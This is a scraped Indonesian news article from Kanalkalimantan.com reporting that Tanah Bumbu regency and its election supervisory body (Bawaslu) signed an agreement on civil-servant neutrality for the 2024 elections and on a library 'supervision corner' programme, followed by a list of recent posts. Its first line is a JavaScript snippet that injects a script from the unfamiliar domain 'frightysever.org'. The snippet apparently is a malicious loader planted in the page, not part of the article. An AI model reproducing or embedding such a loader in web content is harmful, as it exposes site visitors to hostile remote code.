(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Bawaslu-Pemkab Tanbu Tanda Tangan Kesepakatan Pengawasan Netralitas ASN dan Pojok Pengawasan


KANALKALIMANTAN.COM, BATULICIN – Persiapan tahapan Pemilu, Bupati Tanah Bumbu HM Zairullah Azhar bersama Ketua Badan Pengawas Pemilu (Bawaslu) Kabupaten Tanah Bumbu Kamiluddin Malewa melakukan penandatanganan kesepakatan, Jumat (29/7/2022).

Kesepakatan antara Pemerintah Kabupaten (Pemkab) Tanah Bumbu (Tanbu) bersama Bawaslu Tanbu komitmen terkait dengan pengawasan netralitas Aparatur Sipil Negara (ASN), serta pelaksanaan program pojok pengawasan.

Ketua Bawaslu Tanbu, H Kamiluddin Malewa mengatakan bahwa tujuan diadakannya penandatanganan kesepakatan guna mewujudkan kerjasama yang sinergis antara kedua belah pihak.

“Kerjasama ini, diperlukan dalam rangka pengawasan dan penindakan dugaan pelanggaran netralitas ASN di lingkup Pemerintah Kabupaten Tanah Bumbu, pada Pemilu Serentak tahun 2024, serta mewujudkan Pemilu yang bermartabat dan nihil dari pelanggaran,” jelas Ketua Bawaslu Tanbu.

 

Baca juga  : Diduga Alih Fungsi Tanah Desa, Mantan Kades di Kapuas Dilaporkan Warga

Ia mengungkapkan bahwa setelah ini, ruang lingkup kesepakatan terkait tentang pengawasan Pemilu partisipatif di lingkungan Pemkab Tanbu akan ditindaklanjuti, dengan sosialisasi peraturan Perundang-undangan terkait Pemilu.

Selain itu, kesepakatan ini juga telah melalui dua rakor antara Bawaslu Tanbu bersama SKPD terkait, dengan saling mengkaji secara teliti kewenangan masing-masing yang diberikan oleh peraturan dan perundang-undangan dalam menentukan ruang lingkup yang relevan dikerjasamakan.

“Diharapkan setelah ini, Pemda dapat memfasilitasi pelaksanaannya, dengan memberikan kemudahan memperoleh data kepada Bawaslu Tanah Bumbu, dalam penanganan dugaan prlanggaran netralitas ASN,” kata Kamiluddin.

Sekadar diketahui, netralitas ASN ini sudah diatur dalam UU Nomor 5 tahun 2014 tentang ASN Pasal 9 Ayat 2 yang berbunyi, pegawai ASN harus bebas dari pengaruh dan intervensi semua golongan dan partai politik.

 

Baca juga  : Tak Cuma ‘Sulap’ Uang Donasi Boeing, ACT Ternyata Tilep Donasi Umat Hingga 450 Miliar

Selain itu di dalam UU nomor 7 tahun 2017 tentang Pemilu, Pasal 282 disebutkan bahwa pejabat negara, pejabat struktural dan pejabat fungsional dalam jabatan negeri serta aparatur sipil negara lainnya dilarang mengadakan kegiatan yang mengarah kepada keberpihakan terhadap peserta Pemilu sebelum, selama, dan sesudah masa kampanye.

Sementara itu terkait dengan program pojok pengawasan, merupakan fasilitas baca di gedung perpustakaan milik Pemkab Tanbu, dimana Bawaslu Tanah Bumbu ikut terlibat dalam kegiatan forum baca yang diselenggarakan di dalamnya.

“Sehingga melalui pojok pengawasan, masyarakat luas dapat lebih mengetahui tentang Bawaslu, Pemilu dan Demokrasi. Jadi ini merupakan salah satu sarana pendidikan politik dari Bawaslu kepada warga Tanah Bumbu,” kata Kamiluddin. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

9 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

16 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

20 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.